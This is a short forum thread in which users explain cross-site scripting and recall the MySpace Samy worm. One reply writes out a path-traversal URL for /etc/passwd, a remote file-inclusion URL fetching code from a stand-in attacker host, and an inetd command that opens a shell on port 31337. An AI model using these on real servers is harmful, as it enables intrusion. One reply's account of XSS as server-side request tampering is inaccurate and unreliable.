This topic contains 1 reply, has 2 voices, and was last updated by attcker 1 month, 2 weeks ago.
- November 30, 2020 at 10:57 pm #335953
As the title suggests, I’m a little stuck on an aspect of cross-site-scripting.
What I don’t get is how this affects other users on other browsers. I understand that you can insert code which will send other users’ cookies and such to your own server and gain access to websites that way. Do these scripts get passed to the server somehow? My understanding of manipulating webpages through the browser is that it only affects content locally.
I appreciate any insight you can provide.
- November 30, 2020 at 10:57 pm #335954
XSS attacks are client-side attacks. As you mentioned, one can steal cookies of users using XSS. XSS payloads in the stored XSS attacks are injected to the vulnerable webpage in the web server. So, you can steal cookies of the visitors of this webpage. However, since XSS is a client-side attack, it does not directly affect the web server.
- November 30, 2020 at 10:57 pm #335955
Theres two most popular types of XSS
Reflected and Stored.
Then, you use a URL Shortner and send a phishing (fake) message to other users. Bang! You are executing malicious code in their browser.
That way, the XSS is stored at the website and is executed when someone loads the page.
Thats the ways one can abuse of XSS. If you want to know more, check this out!
- November 30, 2020 at 10:57 pm #335956
When PHP became popular, a lot of people were templating pages just by adding URL parameters to read a file. Something like [http://myprecioussite.com/index.php3?file=articles/test.html](http://myprecioussite.com/index.php3?file=articles/test.html). However, by default there was no check of the file, so you were able to do something like [http://myprecioussite.com/index.php3?file=.](http://myprecioussite.com/index.php3?file=articles/test.html)./../../etc/passwd to check files on the server and in the worst case: [http://myprecioussite.com/index.php3?file=](http://myprecioussite.com/index.php3?file=articles/test.html)http://hax0r.net/script.php3 <- server executed your code, there was usually a code like this:
`echo “31337 stream tcp nowait wwwdata /bin/bash bash -i” >> /tmp/config.conf; /usr/sbin/inetd /tmp/config.conf`
It was executing Inetd running a shell on 31337, nowadays, there will be some code to open reverse shell 🙂
- November 30, 2020 at 10:57 pm #335957
- November 30, 2020 at 10:57 pm #335958
There is also /r/xss 😉
- November 30, 2020 at 10:57 pm #335959
The basic concept is this: the code in the page that you load eventually sends a command or request to the server. In XSS, you edit that command or request to try to get elevated access to the server or to get the site to give you information it would not give otherwise.
It’s “cross-site” because you are using an altered version of their site (living on your computer) to send a command across to their site.
- November 30, 2020 at 10:57 pm #335960
Here’s an oldie but a goodie from the MySpace days, the “Samy Worm”: [https://samy.pl/myspace/tech.html](https://samy.pl/myspace/tech.html)
MySpace allowed users to write custom HTML code (and CSS) to affect the look and feel of their profile page (set custom background images, change the colors and fonts, embed YouTube videos that auto-play when you access their page, etc.), it was like a Geocities mixed with social media.
This sort of attack was very common on sites which allowed custom user HTML input, and is a very tricky problem to sanitize effectively, as there’s lots of ways that “HTML tag soup” can be interpreted in different browsers. It’s probably a huge reason why sites like Facebook moved away from allowing users to include custom HTML, and on a similar note, is why sites that DO allow custom web pages will put user sites on a different domain name altogether from the company’s main domain (so no cookies are shared and an XSS has lessened impact to cause harm).
You must be logged in to reply to this topic.